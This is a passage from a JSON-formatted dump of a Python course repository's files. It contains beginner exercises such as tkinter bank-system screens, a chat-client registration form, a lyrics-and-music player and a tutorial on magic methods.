user_list = []\n for user in users:\n us = user.split(\":\")\n user_list.append(us[0])\n\n chatroom_name = chatroom_name.encode()\n for c in memory.online_user:\n for target_user in user_list:\n if memory.online_user[c][0] == target_user:\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.chatroom_msg,\n send_time,\n chatroom_name,\n from_user,\n message)\n c.send(serializeMessage)\n\n\ndef broadcast_handler(s, msg):\n pass\n" }, { "alpha_fraction": 0.5098039507865906, "alphanum_fraction": 0.5098039507865906, "avg_line_length": 26.85714340209961, "blob_id": "18c6f25f8f20a2f612bec6e0c6754c4abd9e8ec9", "content_id": "00397c954222427e3f535195932d3c908b140a62", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 204, "license_type": "permissive", "max_line_length": 40, "num_lines": 7, "path": "/py-basis/各组银行系统带界面/第四组/card.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "class Card():\r\n def __init__(self,num,passwd,money):\r\n self.num = num\r\n self.passwd = passwd\r\n self.money = money\r\n self.lock = False\r\n self.account_list = []\r\n\r\n" }, { "alpha_fraction": 0.5545171499252319, "alphanum_fraction": 0.5687954425811768, "avg_line_length": 32.78947448730469, "blob_id": "e6d437ca76fcf5704c71f3bceedff3c6737a05e5", "content_id": "97a4cec182351d0cc2ee132d795b5e7e0e11ccb2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4128, "license_type": "permissive", "max_line_length": 79, "num_lines": 114, "path": "/py-basis/QQ简易版/client/register.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 注册界面模块\n@Time : 2018/8/19 下午9:25\n@Author : 北冥神君\n@File : register.py\n@Software: PyCharm\n\"\"\"\n\n\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom tkinter import *\nimport struct\n\nfrom . import memory, client_socket, common_handler, security\n\n\nclass RegisterForm(tk.Frame):\n def do_return(self):\n self.master.destroy()\n memory.Login_window.deiconify()\n\n def do_register(self):\n username = self.username.get()\n password = self.password.get()\n password_confirmation = self.password_confirmation.get()\n nickname = self.nickname.get()\n if not username:\n messagebox.showerror(\"出错了\", \"用户名不能为空\")\n return\n if not password:\n messagebox.showerror(\"出错了\", \"密码不能为空\")\n return\n if not nickname:\n nickname = username\n if password != password_confirmation:\n messagebox.showerror(\"出错了\", \"两次密码输入不一致\")\n return\n res = client_socket.connect_to_server(str(memory.IP), int(memory.PORT))\n if res == \"connect_fail\":\n messagebox.showerror(\"无法连接到服务器\", \"对不起,无法连接到服务器\")\n else:\n memory.sc = res\n\n # 2 packs\n # First one include length infomation,\n # The second one include complete values information.\n password = security.loop_encrypt(password)\n uname = username.encode()\n pwd = password.encode()\n kname = nickname.encode()\n\n serializeMessage = common_handler.pack_message(\n common_handler.MessageType.register, uname, pwd, kname)\n client_socket.send_msg(serializeMessage)\n lg_res = struct.unpack(\"!L\", client_socket.recv_msg(memory.sc))[0]\n if lg_res == common_handler.MessageType.register_successful:\n memory.sc.close()\n messagebox.showinfo(\"注册成功!\", \"恭喜您,快上来玩儿啊!\")\n self.do_return()\n elif lg_res == common_handler.MessageType.username_taken:\n messagebox.showerror(\"用户名已存在!\", \"抱歉,您来晚了,此用户名已有小主了 ^.^!\")\n else:\n messagebox.showerror(\"注册失败!\", \"可能您的输入方式不对,请换个姿势 ^_^!\")\n\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n # self.memory.tk_reg = self.master\n\n self.master.resizable(width=False, height=False)\n self.master.geometry('300x170')\n self.master.title(\"注册账户\")\n\n self.label_1 = Label(self, text=\"QQ账号\")\n self.label_2 = Label(self, text=\"QQ密码\")\n self.label_3 = Label(self, text=\"确认密码\")\n self.label_4 = Label(self, text=\"QQ昵称\")\n\n self.username = Entry(self)\n self.password = Entry(self, show=\"*\")\n self.password_confirmation = Entry(self, show=\"*\")\n self.nickname = Entry(self)\n\n self.label_1.grid(row=0, sticky=E)\n self.label_2.grid(row=1, sticky=E)\n self.label_3.grid(row=2, sticky=E)\n self.label_4.grid(row=3, sticky=E)\n\n self.username.grid(row=0, column=1, pady=(10, 6))\n self.password.grid(row=1, column=1, pady=(0, 6))\n self.password_confirmation.grid(row=2, column=1, pady=(0, 6))\n self.nickname.grid(row=3, column=1, pady=(0, 6))\n\n self.btnframe = Frame(self)\n self.regbtn = Button(self.btnframe,\n text=\"立即注册\",\n command=self.do_register)\n self.returnbtn = Button(self.btnframe,\n text='返回登陆',\n command=self.do_return)\n self.regbtn.grid(row=0, column=1)\n self.returnbtn.grid(row=0, column=2)\n self.btnframe.grid(row=4, columnspan=2)\n self.pack()\n\n\nif __name__ == '__main__':\n root = Tk()\n RegisterForm(root)\n root.mainloop()\n" }, { "alpha_fraction": 0.4630281627178192, "alphanum_fraction": 0.5158450603485107, "avg_line_length": 31.058822631835938, "blob_id": "575bffc07e2e2e43f47e9f54995ab6c99217ad31", "content_id": "e74baf0828c0e96e06ff9c71c3b9e5b47e454b25", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 576, "license_type": "permissive", "max_line_length": 107, "num_lines": 17, "path": "/py-basis/各组银行系统带界面/第六组/user.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "\r\n\r\nclass User(object):\r\n def __init__(self, name, idCard, phone):\r\n self.name = name\r\n self.idCard = idCard\r\n self.phone = phone\r\n self.userInfoDict = {}\r\n\r\ndict1 = {'8060': {'name': '张三', 'phone': '1', 'passwd': '1', 'money': 1.0, 'isLock': False, 'idCard': '1'},\r\n '4742': {'name': '张涛', 'phone': '1', 'passwd': '1', 'money': 1.0, 'isLock': False, 'idCard': '1'}}\r\n\r\n# for value in dict.values():\r\n# print(value)\r\n# new_cardId = \"1234\"\r\n# pop = dict1.pop(\"8060\")\r\n# print(pop)\r\n# dict1[new_cardId] = pop\r\n# print(dict1)\r\n\r\n" }, { "alpha_fraction": 0.5110132098197937, "alphanum_fraction": 0.5638766288757324, "avg_line_length": 13.1875, "blob_id": "4dc4150d2761f007056e89c8ce9b772046ad5e82", "content_id": "19c97d04583b113d96b56559ec07767fea9f7636", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 251, "license_type": "permissive", "max_line_length": 27, "num_lines": 16, "path": "/py-basis/QQ简易版/run_client.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 客户端主程序\n@Time : 2018/8/19 下午9:52\n@Author : 北冥神君\n@File : run_client.py\n@Software: PyCharm\n\"\"\"\n\nimport client.login as cl\n\n\nif __name__ == '__main__':\n cl.run()\n" }, { "alpha_fraction": 0.7474048733711243, "alphanum_fraction": 0.7820069193840027, "avg_line_length": 19.714284896850586, "blob_id": "e2943f6ae88cb14efa3f21152868fc42bbd99b40", "content_id": "fc134f62286877ddb74d6e4235c3f96604ca5174", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 293, "license_type": "permissive", "max_line_length": 81, "num_lines": 14, "path": "/py-basis/树状目录层级/file.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\nimport os\nfrom treeWindows import TreeWindows\nfrom infoWindows import InfoWindows\n\nwin=tkinter.Tk()\nwin.title(\"sunck\")\n# win.geometry(\"900x400+200+0\")\n\ninfo = InfoWindows(win)\ntree = TreeWindows(win, r\"/Users/tencenting/PycharmProjects/cuiqingcai/基础\", info)\n\n\nwin.mainloop()" }, { "alpha_fraction": 0.4717223644256592, "alphanum_fraction": 0.5573264956474304, "avg_line_length": 26.985610961914062, "blob_id": "cb59949d7e96347e63275362a09698351749305e", "content_id": "1e996e59d960d09ed3f55f1960098cf4ad92f56b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4650, "license_type": "permissive", "max_line_length": 134, "num_lines": 139, "path": "/py-basis/播放器带音乐/music.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 周末作业、终端打印歌词+播放音乐\n@Time : 2018/8/3 下午7:01\n@Author : 北冥神君\n@File : 歌词模拟器.py\n@Software: PyCharm\n\"\"\"\nfrom pygame import mixer # 多媒体播放模块 需要安装pip3 install pygame\nimport threading # 多线程模块 自带模块无需安装\nimport time # 时间模块\nfrom color import Color\nimport random\n# 配置音乐路径\nPATH = '传奇.mp3'\n\nmusicLrc = \"\"\"[00:03.50]传奇\n[00:19.10]作词:刘兵 作曲:李健\n[00:20.60]演唱:王菲\n[00:26.60]\n[04:40.75][02:39.90][00:36.25]只是因为在人群中多看了你一眼\n[04:49.00]\n[02:47.44][00:43.69]再也没能忘掉你容颜\n[02:54.83][00:51.24]梦想着偶然能有一天再相见\n[03:02.32][00:58.75]从此我开始孤单思念\n[03:08.15][01:04.30]\n[03:09.35][01:05.50]想你时你在天边\n[03:16.90][01:13.13]想你时你在眼前\n[03:24.42][01:20.92]想你时你在脑海\n[03:31.85][01:28.44]想你时你在心田\n[03:38.67][01:35.05]\n[04:09.96][03:39.87][01:36.25]宁愿相信我们前世有约\n[04:16.37][03:46.38][01:42.47]今生的爱情故事 不会再改变\n[04:24.82][03:54.83][01:51.18]宁愿用这一生等你发现\n[04:31.38][04:01.40][01:57.43]我一直在你身旁 从未走远\n[04:39.55][04:09.00][02:07.85]\n\"\"\"\n\n\n# 转换时间函数\ndef conversion_time(time='00:00.00'):\n \"\"\"\n 转换时间格式函数\n :param time: 时间字符串\n :return: 总秒数\n \"\"\"\n time_list = time.split(':')\n minute = float(time_list[0]) # 分钟\n second = float(time_list[1]) # 秒\n seconds = minute * 60 + second # 换算成秒\n return seconds\n\n\n# 处理歌词数据函数\ndef translate_lrc(musicLrc=''):\n \"\"\"\n 处理歌词数据\n :param musicLrc:传入标准的lrc歌词\n :return: 歌词字典 key= time value = 歌词\n \"\"\"\n dict_lrc = {} # 定义歌词字典 key= time value = 歌词\n musicLrc = musicLrc.splitlines()\n for lrc_line in musicLrc:\n lrc_line.strip()\n lrc_list = lrc_line.split(']')\n\n # 处理时间和歌词\n for i in range(len(lrc_list) - 2, -1, -1):\n time = lrc_list[i][1:]\n time_key = conversion_time(time) # 转换成时间key\n lrc = lrc_list[-1] # 歌词\n dict_lrc[time_key] = lrc\n\n return dict_lrc\n\n# 播放歌词函数\ndef play_lyrics(dict_lrc={}):\n \"\"\"\n 终端打印歌词\n :param dict_lrc:歌词字典\n :return: None\n \"\"\"\n time_list = [] # 存放时间的列表\n # 从字典提取时间\n for key in dict_lrc.keys():\n time_list.append(key)\n # 排序时间列表\n time_list.sort()\n clr = Color() #设置终端颜色\n\n clr.print_red_text_with_blue_bg('\\n\\n'+ 'BJ-Python-GP-1'.center(60))\n # 打印爱心\n clr.print_red_text_with_blue_bg('\\n'.join([''.join([('BJPythonGP'[(x - y) % 10] if ((x * 0.05) ** 2 + (y * 0.1) ** 2 - 1) ** 3 - (\n x * 0.05) ** 2 * (y * 0.1) ** 3 <= 0 else ' ') for x in range(-30, 30)]) for y in\n range(15, -15, -1)]))\n print('\\n'*5)\n # 播放歌词\n for i in range(len(time_list)):\n if i == 0:\n lrc = dict_lrc[time_list[0]]\n lrc_color = random.choice(['clr.print_red_text(lrc.center(54))', 'clr.print_green_text(lrc.center(54))',\n 'clr.print_blue_text(lrc.center(54))'])\n sleep_time = time_list[0]\n time.sleep(sleep_time)\n eval(lrc_color) # 打印歌词\n print('\\n')\n\n if i > 0:\n lrc = dict_lrc[time_list[i]]\n lrc_color = random.choice(['clr.print_red_text(lrc.center(54))', 'clr.print_green_text(lrc.center(54))',\n 'clr.print_blue_text(lrc.center(54))'])\n sleep_time_1 = time_list[i - 1] # 前一个时间\n sleep_time_2 = time_list[i] # 当前时间\n sleep_time = sleep_time_2 - sleep_time_1 # 睡眠时间\n time.sleep(sleep_time)\n eval(lrc_color) # 打印歌词 # 打印歌词\n print('\\n')\n if i == len(time_list) - 1:\n clr.print_red_text_with_blue_bg('歌词播放结束,感谢你的收听'.center(54))\n\n\n# 播放音乐函数\ndef playmusic(PATH):\n mixer.init()\n track = mixer.music.load(PATH)\n mixer.music.play()\n time.sleep(310) # 从歌词字典查看最大秒数\n mixer.music.stop()\n\n# 主函数\ndef main(PATH):\n dict_lrc = translate_lrc(musicLrc)\n threading.Thread(target=playmusic, args=[PATH, ]).start()\n threading.Thread(target=play_lyrics, args=[dict_lrc, ]).start()\n\nif __name__ == '__main__':\n main(PATH)\n" }, { "alpha_fraction": 0.5710670351982117, "alphanum_fraction": 0.5973569750785828, "avg_line_length": 18.437158584594727, "blob_id": "365f542e38eb470b4b6447d7b49f0d16ee9cc645", "content_id": "003d2165dfa5ae128c5a282c23816082c3589191", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8629, "license_type": "permissive", "max_line_length": 81, "num_lines": 366, "path": "/py-basis/魔术方法研究.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/11 上午10:34\n@Author : 北冥神君\n@File : 魔术方法研究.py\n@Software: PyCharm\n\"\"\"\n'''\n__名字__这样形式的就是魔术方法\n'''\n\n# 举例 __add__, 用类实现两个点坐标的和\n\nclass Rectangle(object):\n\n def __init__(self, length, width):\n \"\"\"\n :param length:\n :param width:\n \"\"\"\n self.lenght = length\n self.width = width\n\n def __add__(self, other): # ‘+’号运算会触发该魔法方法,object1 + object2\n return self.lenght + other.lenght, self.width + other.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\nprint(rec1 + rec2)\n\nprint(rec1.__add__(rec2)) # 该结果和和上面的结果一样\n\n'''\n本质为执行了如下方法\nrec1.__add__(rec2)\n\n'''\n\n# 举例 __radd__, 用类实现两个点坐标的和,右加\n\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n # ‘+’号运算不会触发该魔法方法,因为+号默认是__add__要用此方法必须是调用__radd__方法,object1__radd__(object1)\n def __add__(self, other):\n return self.lenght + other.lenght, self.width + other.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\n# print(rec1 + rec2) 不存在该方法,因为 ‘+ ’是__add__所有\n\nprint(rec1.__add__(rec2)) # 该结果和和上面的结果一样\n\n'''\n本质为执行了如下方法\nrec1.__add__(rec2)\n\n'''\n\n# 举例 __sub__, 用类实现两个点坐标的差\n\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __sub__(self, other): # ‘-’号运算会触发该魔法方法,object1 - object2\n return self.lenght - other.lenght, self.width - other.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\nprint(rec1 - rec2)\n\nprint(rec1.__sub__(rec2)) # 该结果和和上面的结果一样\n\n'''\n本质为执行了如下方法\nrec1.__sub__(rec2)\n\n'''\n# 举例 __rsub__, 用类实现两个点坐标的差,右减 \n\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __rsub__(self, other): # ‘-’号运算会触发该魔法方法,object2 - object1\n return other.lenght - self.lenght, other.width - self.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\n# print(rec1 - rec2) 因为-号默认是用sub处理的。。所以要用必须用object1.__rsub__(object2)\n\nprint(rec2.__rsub__(rec1)) # 该结果和和上面的结果一样\n\n'''\n本质为执行了如下方法\nrec1.__rsub__(rec2)\n\n'''\n\n\n# 举例 __mul__, 用类实现两个点坐标的乘积\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __mul__(self, other): # ‘*’号运算会触发该魔法方法,object1 * object2\n return self.lenght * other.lenght, self.width * other.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\nprint(rec1 * rec2)\n\nprint(rec1.__mul__(rec2)) # 该结果和和上面的结果一样\n\n'''\n本质为执行了如下方法\nrec1.__mul__(rec2)\n\n'''\n\n\n# 举例 __mod_, 用类实现两个点坐标的取余数\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __mod__(self, other): # ‘%’号运算会触发该魔法方法,object1 % object2\n return self.lenght % other.lenght, self.width % other.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\nprint(rec1 % rec2)\n\nprint(rec1.__mod__(rec2)) # 该结果和和上面的结果一样\n\n'''\n本质为执行了如下方法\nrec1.__mul__(rec2)\n\n'''\n\n\n# 举例 __iadd__, 用类实现两个点坐标的+号的自反运算符\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __iadd__(self, other): # ‘+=’号运算会触发该魔法方法,object1 += object2\n self.lenght = self.lenght + other.lenght\n self.width = self.width + other.width\n return self.lenght, self.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\nrec1 += rec2\nprint(rec1)\n# print(rec1.__iadd__(rec2)) # 该结果和和上面的结果一样 因为元素没有这个方法 故只能用 += 来实现。。。\n'''\n注意,元组没有__iadd__这个方法。只能用 +=来运算\nrec1.__iadd__(rec2)\n\n'''\n\n\n# 举例 __isub__, 用类实现两个点坐标的-号的自反运算符\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __isub__(self, other): # ‘-=’号运算会触发该魔法方法,object1 += object2\n self.lenght = self.lenght - other.lenght\n self.width = self.width - other.width\n return self.lenght, self.width\n\n\nrec1 = Rectangle(1, 2)\nrec2 = Rectangle(3, 4)\nrec1 -= rec2\nprint(rec1)\n# print(rec1.__iadd__(rec2)) # 该结果和和上面的结果一样 因为元素没有这个方法 故只能用 -= 来实现。。。\n'''\n注意,元组没有__isub__这个方法。只能用 +=来运算\nrec1.__isub__(rec2)\n\n'''\n\n\n# 举例 __imul__, 用类实现两个点坐标的*号的自反运算符\n\nclass Rectangle(object):\n def __init__(self, length, width):\n self.lenght = length\n self.width = width\n\n def __imul__(self, other): # ‘*=’号运算会触发该魔法方法,object1 *= object2\n self.lenght = self.lenght * other.lenght\n self.width = self.width * other.width\n return self.lenght, self.width\n\n\nrec1 = Rectangle(3, 4)\nrec2 = Rectangle(2, 2)\nrec1 *= rec2\nprint(rec1)\n# print(rec1.__iadd__(rec2)) # 该结果和和上面的结果一样 因为元素没有这个方法 故只能用 *= 来实现。。。\n'''\n注意,元组没有__isub__这个方法。只能用 +=来运算\nrec1.__isub__(rec2)\n\n'''\n\n\n# 举例 __imod__, 用类实现两个数的*号的自反运算符\n\nclass Rectangle(object):\n def __init__(self, number):\n self.number = number\n\n def __imod__(self, other): # ‘%=’号运算会触发该魔法方法,object1 %= object2\n self.number = self.number % other.number\n return self.number\n\n\nrec1 = Rectangle(3)\nrec2 = Rectangle(2)\nrec1 %= rec2\nprint(rec1)\n# print(rec1.__imod__(rec2)) # 该结果和和上面的结果一样 因为元素没有这个方法 故只能用 *= 来实现。。。\n'''\n注意,元组没有__isub__这个方法。只能用 +=来运算\nrec1.__isub__(rec2)\n\n'''\nfrom os.path import join\n\n\nclass FileObject(object):\n\n def __init__(self, filepath='', filename='sample.txt'):\n self.file = open(join(filepath, filename), 'w')\n\n def __del__(self):\n print('关闭文件')\n self.file.close()\n del self.file\n\n\nFileObject()\n\n\n# 用魔术方法实现haskell语句的一个数据结构\n\nclass FunctionalList:\n def __init__(self, values):\n if values is None:\n self.values = []\n else:\n self.values = values\n\n def __len__(self):\n return len(self.values)\n\n def __getitem__(self, item):\n return self.values[item]\n\n def __setitem__(self, key, value):\n self.values[key] = value\n\n def __delitem__(self, key):\n del self.values[key]\n\n def __iter__(self):\n return iter(self.values)\n\n def __reversed__(self):\n return FunctionalList(reversed(self.values))\n\n def append(self, value):\n self.values.append(value)\n\n def head(self):\n return self.values[0]\n\n def tail(self):\n return self.values[1:]\n\n def init(self):\n return self.values[:-1]\n\n def last(self):\n return self.values[-1]\n\n def drop(self, n):\n return self.values[n:]\n\n def take(self, n):\n return self.values[:n]\n\n\nres = FunctionalList([1, 2, 3, 4, 5])\n\nprint(len(res))\nprint(res[1])\nres[1] = 55\nprint(res[1])\ndel res[1]\nprint(res[1])\n# res = iter(res)\n# next(res)\n# next(res)\n\n\n# 描述器,单位转换\n\nclass Meter(object):\n def __init__(self, value=0.0):\n self.value = value\n\n def __get__(self, instance, owner):\n return self.value\n\n def __set__(self, instance, value):\n self.value = float(value)\n\n\nclass Foot(object):\n def __get__(self, instance, owner):\n return instance.meter * 3.2808\n\n def __set__(self, instance, value):\n instance.meter = float(value) / 3.2808\n\n\nclass Disctance(object):\n meter = Meter(10)\n foot = Foot()\n\n\nd = Disctance()\nprint(d.foot, d.meter)" }, { "alpha_fraction": 0.5615016222000122, "alphanum_fraction": 0.5802715420722961, "avg_line_length": 40.81142807006836, "blob_id": "662ad62c521bdfeeb5c603017ed5c51bb8b7deda", "content_id": "a78fcfb331654c46794362c872437dc2ea5b6229", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7990, "license_type": "permissive", "max_line_length": 131, "num_lines": 175, "path": "/py-basis/各组银行系统带界面/第四组/bank_admin.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter\r\nimport tkinter.messagebox\r\nimport bank_sys\r\n\r\ndef lock_Accout(allUsers,username):\r\n cardid = username.get()\r\n if cardid != \"\":\r\n cardid = int(cardid)\r\n if cardid in allUsers:\r\n if allUsers[cardid].card.lock ==False:\r\n allUsers[cardid].card.lock = True\r\n tkinter.messagebox.showinfo(\"锁定成功\", \"该卡已经被锁定!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"锁定失败\", \"该卡已被锁定!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"锁定失败\", \"不存在该卡号!\")\r\n username.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"锁定失败\", \"请输入卡号!\")\r\n\r\ndef unlock_Accout(allUsers,username):\r\n cardid = username.get()\r\n if cardid != \"\":\r\n cardid = int(cardid)\r\n if cardid in allUsers:\r\n if allUsers[cardid].card.lock == True:\r\n allUsers[cardid].card.lock = False\r\n tkinter.messagebox.showinfo(\"解锁成功\", \"该卡已经解锁!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"解锁失败\", \"该卡未被锁定!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"解锁失败\", \"不存在该卡号!\")\r\n username.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"解锁失败\", \"请输入卡号!\")\r\n\r\ndef repair_Accout(allUsers,username,password):\r\n cardid = username.get()\r\n passwd1 = password.get()\r\n print(cardid)\r\n if cardid != \"\" and passwd1 != \"\":\r\n num = 0\r\n for x in allUsers.values():\r\n if cardid == x.cardId:\r\n num = x.card.num\r\n if num:\r\n if passwd1 == allUsers[num].card.passwd:\r\n\r\n tkinter.messagebox.showinfo(\"补卡成功成功\", \"您的卡号是:%d ,请牢记!!!!\"%num)\r\n else:\r\n tkinter.messagebox.showinfo(\"补卡失败\", \"密码输入错误!\")\r\n else:\r\n tkinter.messagebox.showinfo(\"补卡失败\", \"该身份证没有办理银行卡!\")\r\n username.set(\"\")\r\n password.set(\"\")\r\n else:\r\n tkinter.messagebox.showinfo(\"补卡失败\", \"请输入信息!\")\r\n\r\ndef look_Accout(allUsers,frm):\r\n num=3\r\n for user in allUsers.values():\r\n tkinter.Label(frm, text=user.name).grid(row=num, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text=user.cardId).grid(row=num, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text=user.card.num).grid(row=num, column=2, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text=user.card.money).grid(row=num, column=3, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text=user.card.lock).grid(row=num, column=4, stick=tkinter.W, pady=10)\r\n num += 1\r\n\r\n\r\ndef back_bank(win,allUsers,frm):\r\n frm.pack_forget()\r\n bank_sys.Bank_Sys(win,allUsers)\r\n\r\ndef view_lockAccount( win,allUsers):\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n username = tkinter.StringVar()\r\n tkinter.Label(frm, text='锁卡', font=\"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='卡号: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='锁定', command = lambda : lock_Accout(allUsers,username)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command = lambda :back_bank(win,allUsers,frm)).grid(row=3, column=1, stick=tkinter.E, pady=10)\r\n\r\n return frm\r\n\r\n\r\ndef view_unlockAccount(win,allUsers):\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n username = tkinter.StringVar()\r\n tkinter.Label(frm, text='解卡', font=\"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='卡号: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='解除', command = lambda : unlock_Accout(allUsers,username)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command=lambda: back_bank(win, allUsers, frm)).grid(row=3, column=1, stick=tkinter.E,\r\n pady=10)\r\n return frm\r\n\r\n\r\ndef view_repairAccount( win,allUsers):\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n username = tkinter.StringVar()\r\n password = tkinter.StringVar()\r\n tkinter.Label(frm, text='补卡', font=\"15\").grid(row=0, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='身份证号: ').grid(row=1, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=username).grid(row=1, column=1, stick=tkinter.E)\r\n tkinter.Label(frm, text='密码: ' ).grid(row=2, stick=tkinter.W, pady=10)\r\n tkinter.Entry(frm, textvariable=password,show = \"*\").grid(row=2, column=1, stick=tkinter.E)\r\n tkinter.Button(frm, text='补卡',command=lambda: repair_Accout(allUsers,username,password)).grid(row=3, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='退出', command=lambda: back_bank(win, allUsers, frm)).grid(row=3, column=1, stick=tkinter.E,\r\n pady=10)\r\n return frm\r\n\r\n\r\ndef view_lookAllAccount( win,allUsers):\r\n frm = tkinter.Frame(win)\r\n frm.pack()\r\n tkinter.Label(frm, text='查看所有用户', font=\"15\").grid(row=0, column=2, stick=tkinter.W, pady=10)\r\n tkinter.Button(frm, text='查看', command=lambda: look_Accout(allUsers, frm)).grid(row=1, stick=tkinter.W,\r\n pady=10)\r\n tkinter.Button(frm, text='退出', command=lambda: back_bank(win, allUsers, frm)).grid(row=1, column=4, stick=tkinter.E,\r\n pady=10)\r\n tkinter.Label(frm, text='姓名: \\t').grid(row=2, stick=tkinter.W,)\r\n tkinter.Label(frm, text='身份证号: \\t').grid(row=2, column=1, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='卡号: \\t').grid(row=2, column=2, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='余额: \\t').grid(row=2, column=3, stick=tkinter.W, pady=10)\r\n tkinter.Label(frm, text='是否锁定: \\t').grid(row=2, column=4, stick=tkinter.W, pady=10)\r\n\r\n return frm\r\n\r\n\r\nclass AdminView(object):\r\n def __init__(self, win,allUsers):\r\n self.allUsers = allUsers\r\n win.title(\"管理员操作界面\")\r\n menubar = tkinter.Menu(win)\r\n win.config(menu=menubar)\r\n menubar.add_command(label=\"锁卡\", command=self.func1)\r\n menubar.add_command(label=\"解卡\", command=self.func2)\r\n menubar.add_command(label=\"补卡\", command=self.func3)\r\n menubar.add_command(label=\"查看所有用户\", command=self.func4)\r\n self.frm1 = view_lockAccount(win,allUsers) # 锁卡\r\n self.frm1.pack()\r\n self.frm2 = view_unlockAccount(win,allUsers) # 解卡\r\n self.frm2.pack_forget()\r\n self.frm3 = view_repairAccount(win,allUsers) # 补卡\r\n self.frm3.pack_forget()\r\n self.frm4 = view_lookAllAccount(win,allUsers) # 查看所有用户\r\n self.frm4.pack_forget()\r\n win.mainloop()\r\n\r\n def func1(self): # 锁卡\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm1.pack()\r\n\r\n def func2(self): # 解卡\r\n self.frm1.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm2.pack()\r\n\r\n def func3(self): # 补卡\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm4.pack_forget()\r\n self.frm3.pack()\r\n\r\n def func4(self): #显示所有用户\r\n self.frm1.pack_forget()\r\n self.frm2.pack_forget()\r\n self.frm3.pack_forget()\r\n self.frm4.pack()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.6006006002426147, "alphanum_fraction": 0.6366366147994995, "avg_line_length": 12.875, "blob_id": "43a1217ac0c36ff5b085d3692ce96662c9356f27", "content_id": 